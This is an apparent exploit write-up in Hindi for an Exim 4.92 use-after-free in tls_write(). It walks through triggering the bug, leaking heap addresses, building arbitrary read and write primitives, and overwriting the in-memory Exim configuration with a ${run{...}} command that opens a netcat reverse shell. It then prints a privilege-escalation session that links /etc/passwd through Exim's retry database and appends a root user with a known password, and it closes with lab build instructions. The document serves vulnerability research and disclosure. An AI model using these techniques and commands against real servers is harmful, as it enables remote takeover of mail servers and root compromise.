
एक्सिम use-after-free शोषण और पहचान
tls-openssl.c में एक Use-after-free (UAF) भेद्यता मौजूद है जो दूरस्थ अनधिकृत हमलावरों को आंतरिक मेमोरी डेटा को दूषित करने की अनुमति देती है, इस प्रकार अंततः रिमोट कोड एक्सेक्यूशन प्राप्त होता है।
प्रिमिटिव्स:
इन सभी प्रिमिटिव्स को एक साथ श्रृंखलाबद्ध करके उपयोग करने पर सभी उपलब्ध एक्सप्लॉइट मिटिगेशन्स को पूरी तरह से बायपास करना संभव है, अंततः exim यूज़र के रूप में रिमोट कोड एक्सेक्यूशन तक पहुँचते हुए।
यह भेद्यता भेद्यताओं की एक विशाल सूची के बीच जारी की गई है, आधिकारिक Qualys रिपोर्ट RCE प्राप्त होने के बाद Local Privilege Escalation (LPE) करने के लिए Use-After-Free को CVE-2020-28008 के साथ श्रृंखलाबद्ध करती है।
exim को निम्नलिखित तरीके से कॉन्फ़िगर / संकलित किया जाना चाहिए:
X_PIPE_CONNECT अक्षम हैआप checker.py स्क्रिप्ट का उपयोग कर सकते हैं यह जाँचने के लिए कि क्या कोई दूरस्थ सर्वर भेद्य संस्करण पर है और उसके पास शोषण के लिए आवश्यक कुछ आवश्यकताएँ हैं या नहीं।
[!] checker.py भेद्यता को ट्रिगर नहीं करती, केवल भेद्य संस्करण की जाँच करती है, जाँचती है कि PIPELINING और TLS सक्षम हैं या नहीं। इसका मतलब है कि यह चेकर पैच की जाँच नहीं करता, जिसका अर्थ है कि यह गलत सकारात्मक परिणाम उत्पन्न कर सकता है।
जैसा कि हम पहले से जानते हैं, भेद्यता tls-openssl.c में स्थित है।
/*************************************************
* Write bytes down TLS channel *
*************************************************/
/*
Arguments:
ct_ctx client context pointer, or NULL for the one global server context
buff buffer of data
len number of bytes
more further data expected soon
Returns: the number of bytes after a successful write,
-1 after a failed write
Used by both server-side and client-side TLS.
*/
int
tls_write(void * ct_ctx, const uschar *buff, size_t len, BOOL more)
{
int outbytes, error, left;
SSL * ssl = ct_ctx ? ((exim_openssl_client_tls_ctx *)ct_ctx)->ssl : server_ssl;
static gstring * corked = NULL;
DEBUG(D_tls) debug_printf("%s(%p, %lu%s)\n", __FUNCTION__,
buff, (unsigned long)len, more ? ", more" : "");
/* Lacking a CORK or MSG_MORE facility (such as GnuTLS has) we copy data when
"more" is notified. This hack is only ok if small amounts are involved AND only
one stream does it, in one context (i.e. no store reset). Currently it is used
for the responses to the received SMTP MAIL , RCPT, DATA sequence, only. */
/*XXX + if PIPE_COMMAND, banner & ehlo-resp for smmtp-on-connect. Suspect there's
a store reset there. */
if (!ct_ctx && (more || corked))
{
#ifdef EXPERIMENTAL_PIPE_CONNECT
int save_pool = store_pool;
store_pool = POOL_PERM;
#endif
corked = string_catn(corked, buff, len);
#ifdef EXPERIMENTAL_PIPE_CONNECT
store_pool = save_pool;
#endif
if (more)
return len;
buff = CUS corked->s;
len = corked->ptr;
corked = NULL;
}
for (left = len; left > 0;)
{
DEBUG(D_tls) debug_printf("SSL_write(%p, %p, %d)\n", ssl, buff, left);
outbytes = SSL_write(ssl, CS buff, left);
error = SSL_get_error(ssl, outbytes);
DEBUG(D_tls) debug_printf("outbytes=%d error=%d\n", outbytes, error);
switch (error)
{
case SSL_ERROR_SSL:
ERR_error_string_n(ERR_get_error(), ssl_errstring, sizeof(ssl_errstring));
log_write(0, LOG_MAIN, "TLS error (SSL_write): %s", ssl_errstring);
return -1;
case SSL_ERROR_NONE:
left -= outbytes;
buff += outbytes;
break;
case SSL_ERROR_ZERO_RETURN:
log_write(0, LOG_MAIN, "SSL channel closed on write");
return -1;
case SSL_ERROR_SYSCALL:
log_write(0, LOG_MAIN, "SSL_write: (from %s) syscall: %s",
sender_fullhost ? sender_fullhost : US"<unknown>",
strerror(errno));
return -1;
default:
log_write(0, LOG_MAIN, "SSL_write error %d", error);
return -1;
}
}
return len;
}
smtp_setup_msg() मुख्य फ़ंक्शन है जो क्लाइंट से संदेश पढ़ने का कार्य करता है।
विशिष्ट परिस्थितियों में, smtp_reset() को कॉल किया जाता है, जो सभी बफ़र्स और मानों की सफाई करता है।
यह निम्नलिखित स्थितियों में हो सकता है:
HELO/EHLO प्राप्त होता हैSTARTTLS प्राप्त होता हैRSET प्राप्त होता हैsmtp_setup_msg() की शुरुआत मेंsmtp_reset() के अंत में, store_reset() के लिए एक कॉल की जाती है।
store_reset एक मैक्रो है जो store_reset_3() फ़ंक्शन को रैप करता है।
स्टोर फ़ंक्शन केवल ऐसे फ़ंक्शन हैं जो डायनामिक मेमोरी का प्रबंधन करते हैं।
Exim malloc से प्राप्त ब्लॉक्स पर पूल आवंटक (pool allocator) का उपयोग करता है।
एक दिलचस्प कार्यक्षमता भी है जो एक ग्रोएबल स्ट्रिंग (growable string) कार्यान्वयन है।
gstring स्ट्रक्चर:
typedef struct gstring {
int size; /* Current capacity of string memory */
int ptr; /* Offset at which to append further chars */
uschar * s; /* The string memory */
} gstring;
नई स्ट्रिंग को जोड़ने के लिए अधिक स्थान की आवश्यकता होने पर, यह gstring_grow() को कॉल करता है।
वह फ़ंक्शन पहले store_extend_3() को कॉल करने का प्रयास करता है, वह फ़ंक्शन उसी पूल ब्लॉक के भीतर मेमोरी को बढ़ाने का प्रयास करता है।
यह तब उपयोगी हो सकता है जब इनपुट की लंबाई ज्ञात न हो, लेकिन यदि इसके बाद अधिक मेमोरी आवंटित की गई थी तो हम इसे बढ़ा नहीं पाएंगे।
फिर gstring_grow() store_newblock_3() को कॉल करता है जो केवल नई मेमोरी लौटाता है और पिछली मेमोरी में पहले से मौजूद बाइट्स को नई मेमोरी में कॉपी करता है।
फिर g->s पॉइंटर को gstring_catn() से पुनर्स्थापित किया जाता है।
फ़ंक्शन tls_write() में, हम देख सकते हैं कि more नामक एक BOOL है।
यह इंगित करता है कि डेटा को उपयोगकर्ता को वापस लौटाने से पहले स्ट्रिंग बफ़र में और अधिक सामग्री कॉपी की जानी है या नहीं।
यदि ऐसा है, तो पॉइंटर NULL नहीं किया जाता।
यदि नहीं, तो स्ट्रिंग बफ़र में निहित डेटा उपयोगकर्ता को लौटा दिया जाता है।
यह कार्यक्षमता Use-After-Free को ट्रिगर करने के कुछ दिलचस्प तरीके खोलती है।
पहले, gstring स्ट्रक्चर का पॉइंटर एक स्टैटिक वेरिएबल में संग्रहीत होता है, इसका मतलब है कि भविष्य में tls_write() के कॉल पर हम इसका उपयोग कर पाएंगे।
हम बफ़र को मुक्त (free) करके फिर उसका उपयोग कैसे कर सकते हैं?
हमें smtp_setup_msg() को smtp_reset() कॉल करवाना होगा जब हमारा एक बफ़र अभी भी server_corked पर हो (NULL नहीं किया गया)।
रीसेट के बाद, यदि हम किसी तरह tls_write() को कॉल करते हैं, तो पॉइंटर अभी भी वहाँ होगा, इस प्रकार मेमोरी मुक्त होने के बाद हमें इसका उपयोग करने की अनुमति मिलती है।
smtp_reset() POOL_MAIN की सभी मेमोरी मुक्त करता है, जिसमें हमारा बफ़र समाहित है।
Use-After-Free को नियंत्रित करने के लिए हमें पहले एक नया कनेक्शन प्रारंभ करना होगा।
चूंकि हम tls_write() का शोषण करना चाहते हैं, हमें पहले एक नया TLS सत्र शुरू करना होगा।
इसलिए पहले हम EHLO कमांड भेजते हैं, उसके बाद TLS कनेक्शन शुरू करने के लिए STARTTLS भेजते हैं।
फिर more को 1 बनाने के लिए हम एक कमांड को पाइपलाइन करते हैं, और अंतिम कमांड एक NOOP का आधा होगा।
हम TLS कनेक्शन बंद कर देते हैं और NOOP कमांड का शेष भाग भेजते हैं।
अब हम फिर से EHLO भेजते हैं, जो smtp_reset को कॉल करवाएगा और हमारे बफ़र को मुक्त कर देगा।
अब हमें tls_write() का फिर से उपयोग करने में सक्षम होने के लिए एक और TLS कनेक्शन शुरू करना होगा।
हम STARTTLS भेजते हैं।
अब सर्वर को कोई भी कमांड भेजने पर प्रतिक्रिया लौटाने के लिए tls_write() कॉल होगा।
लेकिन... server_corked में अभी भी मुक्त मेमोरी में कहीं एक पॉइंटर है।
और वह डेटा अन्य फ़ंक्शन द्वारा उपयोग किया जा सकता है क्योंकि यह मुक्त है...इसलिए हमारा gstring स्ट्रक्चर यादृच्छिक बाइनरी डेटा से दूषित हो जाएगा।
UAF ट्रिगर करने का यह परिणाम है:
gef➤ p *corked
$1 = {
size = 0x54595c9c,
ptr = 0xa7e800ba,
s = 0x7e35043433160bd3 <error: Cannot access memory at address 0x7e35043433160bd3>
}
gef➤ p corked
$2 = (gstring *) 0x555ad3be1b58
gef➤
यह स्ट्रक्चर इसी तरह से होता है जब हम STARTTLS के बाद अपने कमांड के लिए tls_write() में प्रवेश करते हैं।
स्पष्ट रूप से, जब corked->s को एक्सेस करने का प्रयास किया जाता है तो SIGSEGV इंटरप्ट होता है।
जैसा कि Qualys ने उल्लेख किया है, वे भेद्यता का शोषण करने के लिए तीन चरणों का उपयोग करते हैं:
header_line जैसे स्ट्रक्चर से हीप पॉइंटर्स को हमारे बफ़र में लिखने के लिए बना सकते हैं, ताकि जब tls_write() कॉल हो, तो यह उपयोगकर्ता को लौटा दिया जाए। इस तरह हमारे पास अपना शोषण जारी रखने के लिए मेमोरी लीक होती है।${run{<command>}} इंजेक्ट कर सकते हैं, जहाँ <command> कोई भी कमांड है जिसे हमलावर निष्पादित करना चाहता है, जैसे netcat का उपयोग करके रिवर्स शेल। यह कॉन्फ़िगरेशन string_expand() द्वारा व्याख्या किया जाएगा, और अंततः कमांड को निष्पादित करेगा।बढ़िया, हम Use-After-Free ट्रिगर करने में सक्षम थे।
अब हमें UAF पर अच्छा नियंत्रण लेने की आवश्यकता है ताकि हम अपने प्रिमिटिव्स को सफलतापूर्वक और विश्वसनीय रूप से तैयार कर सकें।
दुर्भाग्य से, POOL_MAIN से बफ़र्स मुक्त होने के बाद, हमारा ब्लॉक सीधे free() में कॉल किया जाएगा।
इसका मतलब है कि मेमोरी केवल store_get_3() या store_newblock_3() के माध्यम से ही नहीं बल्कि किसी भी फ़ंक्शन द्वारा एक्सेस की जाएगी जो malloc() का उपयोग करता है...जैसे CRYPTO_zalloc() और कई अन्य।
इस मामले में, tls_server_start() में कहीं, malloc() के माध्यम से मेमोरी की मांग की जाती है।
फिर उसमें कुछ बाइनरी डेटा कॉपी करता है, हमारे gstring स्ट्रक्चर को दूषित करता है।
हमें इसे रोकने का एक तरीका चाहिए, ताकि हम एक स्वस्थ gstring स्ट्रक्चर के साथ tls_write() तक पहुँच सकें जो एक वैध मेमोरी एड्रेस की ओर इशारा करता है, अन्यथा SIGSEGV इंटरप्ट किया जाएगा।
Exim पूल आवंटक कैसे काम करता है यह समझने के बाद, हीप की ओर उनके व्यवहार को देखने के लिए कुछ कमांड डिबग करने और आज़माने के बाद, हम अंततः इस डेटा को हमारे gstring स्ट्रक्चर में लिखे जाने से रोक सकते हैं।
एक बार जब हम सफलतापूर्वक Use-After-Free ट्रिगर कर लेते हैं और हमारे स्ट्रक्चर के दूषित होने में कोई समस्या नहीं होती है, तो हमें हीप को इस तरह स्थानांतरित करने का प्रयास करने की आवश्यकता होती है कि एक फ़ंक्शन हमारी स्ट्रिंग के बीच में (g->ptr से पहले किसी भी स्थिति में) एक हीप एड्रेस लिखता है।
हम भाग्यशाली हैं क्योंकि प्रतिक्रियाएँ, सादा पाठ (बाइनरी प्रोटोकॉल नहीं) होने के बावजूद, हमें क्लाइंट को NULL बाइट्स वापस भेजने की अनुमति देती हैं।
ऐसा क्यों होता है?
प्रतिक्रियाएँ SSL_write() के साथ वापस भेजी जाती हैं, NULL बाइट्स के साथ कोई समस्या नहीं।
स्ट्रिंग्स के बारे में क्या? string_catn() NULL बाइट्स को नहीं काटता। क्योंकि यह डेटा कॉपी करने के लिए memcpy का उपयोग करता है।
सीमा निर्धारित करने का एकमात्र तरीका g->ptr के माध्यम से है, लेकिन...चूंकि एड्रेस g->ptr इंडेक्स से पहले लिखा जाता है, इसलिए उसके बाद का सारा डेटा हमें लौटा दिया जाता है, इस प्रकार बहुमूल्य हीप एड्रेस लीक होते हैं।
PoC के साथ मेमोरी लीक करने का परिणाम:

अब, हमने हीप बेस का पता लगा लिया है....
और...एड्रेस प्रत्येक कनेक्शन के बीच नहीं बदलते...इसलिए अब हम RCE का रास्ता शुरू कर सकते हैं
लेकिन... हम gstring स्ट्रक्चर को कैसे ओवरराइट करें?
यह Qualys तकनीक का उपयोग करके काफी सीधा साबित हुआ।
ESMTP ने SMTP प्रोटोकॉल में कुछ चीजें जोड़ीं, जैसे MAIL FROM कमांड के लिए पैरामीटर।
अंतिम STARTTLS के बाद एक बड़े पैरामीटर का उपयोग करना स्ट्रक्चर को ओवरराइट करने के लिए पर्याप्त है :)
परिणाम:
gef➤ p *corked
$1 = {
size = 0x42424242,
ptr = 0x42424242,
s = 0x4242424242424242 <error: Cannot access memory at address 0x4242424242424242>
}
gstring स्ट्रक्चर पर पूर्ण नियंत्रण।
अब अपना आर्बिट्रेरी रीड प्रिमिटिव तैयार करने का समय है।
स्पष्ट रूप से यह आसान लगता है...g->size और g->ptr को एक बड़े मान के साथ ओवरराइट करें।
फिर g->s को उस मेमोरी एड्रेस के साथ ओवरराइट करें जिससे हम पढ़ना चाहते हैं।
कमांड समाप्त होने के बाद, उपयोगकर्ता को डेटा वापस लौटाने के लिए tls_write() कॉल किया जाएगा।
चूंकि स्ट्रिंग बफ़र पॉइंटर दूषित है, और हमलावर की मनमानी स्थिति की ओर इशारा करता है, उस स्थान से डेटा वापस लौटाया जाएगा।
अब हम एक फ़ंक्शन लागू कर सकते हैं जो चंक्स पर पुनरावृत्ति करता है, पढ़ता है और ऐसे कीवर्ड खोजने का प्रयास करता है जो हमें बताएं कि क्या चंक वह है जिसमें Exim कॉन्फ़िगरेशन है, यदि ऐसा है, तो हम अंतिम चरण पर जाएंगे।
मैंने जो फ़ंक्शन लागू किया है वह हीप बेस से हीप के साथ प्रत्येक READ_SZ लंबाई पर पुनरावृत्ति करता है।
[+] Leaked heap address = 0x55c846683d90
[+] Leaked heap_base = 0x55c8465f4000
[*] Searching for Exim configuration in memory...
[+] Config found at: 0x55c8465f6328
एक बार कुछ मिल जाने पर, हम अंतिम चरण पर आगे बढ़ते हैं।
बढ़िया! हम हीप बेस एड्रेस जानते हैं। और अधिक दिलचस्प...हम जानते हैं कि Exim कॉन्फ़िगरेशन कहाँ स्थित है!
अब RCE का समय है :P
अब, हमें (किसी तरह) exim कॉन्फ़िगरेशन को ओवरराइट करना होगा और ${run{<command>}} इंजेक्ट करना होगा। ताकि जब string_expand() निष्पादित हो, हमारा कमांड व्याख्या किया जाए और अंततः हमें आर्बिट्रेरी कमांड निष्पादन मिले।
RCE प्राप्त करने का आसान तरीका netcat का उपयोग करना है, इसलिए केवल कमांड में nc का उपयोग करने से हमें शेल मिल जाएगा।
लेकिन... हम ऐसा राइट-व्हाट-व्हेयर प्रिमिटिव कैसे तैयार कर सकते हैं?
हमें पहले (जैसा हमने आर्बिट्रेरी रीड प्रिमिटिव के साथ किया) gstring स्ट्रक्चर को ओवरराइट करना होगा।
एक बार जब हमारे पास इसका नियंत्रण हो, तो हम पहले g->s को उस स्थान पर इंगित कर सकते हैं जहाँ हम लिखना चाहते हैं, इस मामले में Exim कॉन्फ़िगरेशन एड्रेस।
फिर बफ़र में लिखी जाने वाली अगली प्रतिक्रिया पर, प्रतिक्रिया वहाँ लिखी जाएगी जहाँ g->s इंगित करता है :)
लेकिन...हम gstring स्ट्रक्चर को कैसे दूषित कर सकते हैं और साथ ही एक आर्बिट्रेरी प्रतिक्रिया प्राप्त कर सकते हैं?
Qualys ने इसे सलाह (advisory) में बहुत स्पष्ट नहीं छोड़ा।
हमें एक "MAIL FROM" कमांड बनाना होगा जो आर्बिट्रेरी डेटा लौटाता है।
कुछ प्रयासों के बाद, मैंने सोचा कि सबसे अच्छा समाधान एक त्रुटि संदेश के साथ है।
हम ADDR - strlen("501 ") चुन सकते हैं।
इसलिए वे चार बाइट्स हमारे लक्ष्य को दूषित नहीं करते।
हम MAIL FROM को कैसे विफल कर सकते हैं? मैं एक गलत प्रेषक का उपयोग करता हूँ, क्योंकि प्रेषक को एक डोमेन की आवश्यकता होती है, यदि कोई डोमेन निर्दिष्ट नहीं है तो त्रुटि संदेश में क्लाइंट-भेजा गया डेटा शामिल होगा
लेकिन इसके साथ एक समस्या है। चूंकि हम NULL भेज रहे हैं, यह संदेश इसके बजाय लौटाया जाता है: "501 NUL characters are not allowed in SMTP commands"।
इसलिए अभी भी इसके आउटपुट को नियंत्रित करने का कोई तरीका नहीं है, क्योंकि हमें अनुरोध में NULL की आवश्यकता होती है।
हम प्रतिक्रियाओं को दूषित करने के लिए एक और "MAIL FROM" नहीं भेज सकते, सरल कारण यह है कि एक बार जब हम UAF ट्रिगर करते हैं, more=0 होता है और मुक्त बफ़र तक कोई पहुँच नहीं होती।
लेकिन handle_smtp_call() से, यदि हम DATA भेजते हैं, तो receive_msg()। हम इसे वर्तमान पूल को पुनर्स्थापित नहीं करने के लिए धोखा दे सकते हैं ताकि हम मुक्त बफ़र को ओवरराइट करने के लिए हीप को थोड़ा ग्रूम कर सकें।
एक बार जब हम इसे ओवरराइट कर लेते हैं, तो हम एक वैध कमांड के साथ पाइपलाइन किए गए अमान्य डेटा के साथ MAIL FROM भेजते हैं। प्रतिक्रिया s पॉइंटर में लिखी जाएगी।
एक बार जब हमने राइट-व्हाट-व्हेयर प्राप्त कर लिया, तो मुझे सीधे netcat के साथ समस्याएँ थीं क्योंकि तर्कों की संख्या के लिए कुछ आवश्यकताएँ आवश्यक थीं। इसलिए मैंने एक किया: /bin/sh -c '<nc command here>'।
मैंने MAIL FROM ACL को ओवरराइट किया ताकि दूसरे MAIL FROM को पाइपलाइन करने पर expand_cstring() कॉल हो, और अंततः मेरा आर्बिट्रेरी कमांड निष्पादित हो।
एक बार जब मुझे एक्सप्लॉइट के साथ शेल मिल जाता है तो यह एक स्क्रीनशॉट है:

$ /bin/bash
$ cd /var/spool/exim4/db
$ rm -f retry*
$ ln -s -f /etc/passwd retry.passwd
$ /usr/sbin/exim4 -odf -oep postmaster < /dev/null
$ # creds => pwner:pwner
$ echo 'pwner:$6$4KB5snZ5jevx6TFa$VNdvb49sUfHhAQeKCkbpGVDnHUbnNfbpFh.QVjwIqvGlYsyKp8yoYrAfNDcG0XdtoQ2vT9LQPLml6XmCaVCOX/:18757:0:99999:7:::' >> /etc/passwd
$ su -l pwner
* Enter pass: pwner *
# id
uid=0(root) gid=0(root) groups=0(root)
#
परीक्षण एक debian में किए गए हैं:
root@research:~# lsb_release -a
No LSB modules are available.
Distributor ID: Debian
Description: Debian GNU/Linux 10 (buster)
Release: 10
Codename: buster
Exim संस्करण के साथ:
root@research:~# exim --version
Exim version 4.92 #7 built 06-May-2021 19:31:44
Copyright (c) University of Cambridge, 1995 - 2018
(c) The Exim Maintainers and contributors in ACKNOWLEDGMENTS file, 2007 - 2018
Berkeley DB: Berkeley DB 5.3.28: (September 9, 2013)
Support for: crypteq iconv() OpenSSL DANE DKIM DNSSEC Event OCSP PRDR TCP_Fast_Open
Lookups (built-in): lsearch wildlsearch nwildlsearch iplsearch cdb dbm dbmjz dbmnz dnsdb passwd
Authenticators: cram_md5 plaintext
Routers: accept dnslookup ipliteral manualroute queryprogram redirect
Transports: appendfile/maildir/mailstore autoreply lmtp pipe smtp
Fixed never_users: 0
Configure owner: 0:0
Size of off_t: 8
Configuration file is /var/lib/exim4/config.autogenerated
मेरा Exim संस्करण स्व-संकलित है, लेकिन debian में मुख्यधारा पर उपयोग किए जाने वाले संकलन फ्लैग्स की प्रतिकृति बनाता है।
कॉन्फ़िगरेशन debian डिफ़ॉल्ट के समान है, शायद कुछ मामूली बदलावों के साथ।
इस रिपॉजिटरी में, exim-4.92 नामक एक निर्देशिका है। यह exim के लिए स्रोत कोड है।
पहले apt पैकेज मैनेजर के साथ exim स्थापित करें।
exim निर्देशिका और config निर्देशिका को मशीन में डाउनलोड करें।
पहले config/Makefile को exim-4.92/Local में कॉपी करें।
फिर config/eximon.conf को exim-4.92/Local में कॉपी करें।
अब हम make चलाते हैं, एक build-linux-* निर्देशिका बनाई जाएगी, हम उसमें जाएंगे और सभी "-O2" घटनाओं को "-O0" से बदल देंगे।
हम OS/ निर्देशिका पर भी ऐसा ही करेंगे। अंत में build-linux-* में हम CFLAGS वेरिएबल में -g जोड़ते हैं।
gdb में libc और exim स्रोत जोड़ने की अनुशंसा की जाती है।
अब make और make install।
cp /usr/exim/bin/* /usr/sbin/
cp /usr/sbin/exim /usr/sbin/exim4
मैंने प्रमाणपत्र उत्पन्न करने के लिए इस स्क्रिप्ट का उपयोग किया: https://github.com/volumio/RootFS/blob/master/usr/share/doc/exim4-base/examples/exim-gencert
अंत में /etc/exim4 पर exim4 कॉन्फ़िगरेशन में TLS सक्षम करें
और bash स्क्रिप्ट द्वारा उत्पन्न /etc/exim4/exim.crt और /etc/exim4/exim.key का उपयोग करें।
अंत में: sudo update-exim4.conf && systemctl restart exim4
सब कुछ सही है यह देखने के लिए systemctl status exim4 जाँचें।
यदि आपको STARTTLS का प्रयास करने के बाद TLS वर्तमान में उपलब्ध नहीं है त्रुटि संदेश मिलता है, तो exim4 लॉग देखें।
मुझे एक समस्या का सामना करना पड़ा क्योंकि प्रमाणपत्रों के लिए मेरे द्वारा उपयोग की जाने वाली कुंजी बहुत छोटी थी। इसलिए पहले उल्लिखित gencert स्क्रिप्ट से कुंजी बिट्स को संशोधित करें (मैं 4096 का उपयोग करता हूँ)।
अधिक जानकारी के लिए आधिकारिक Qualys सलाह पर जाएँ।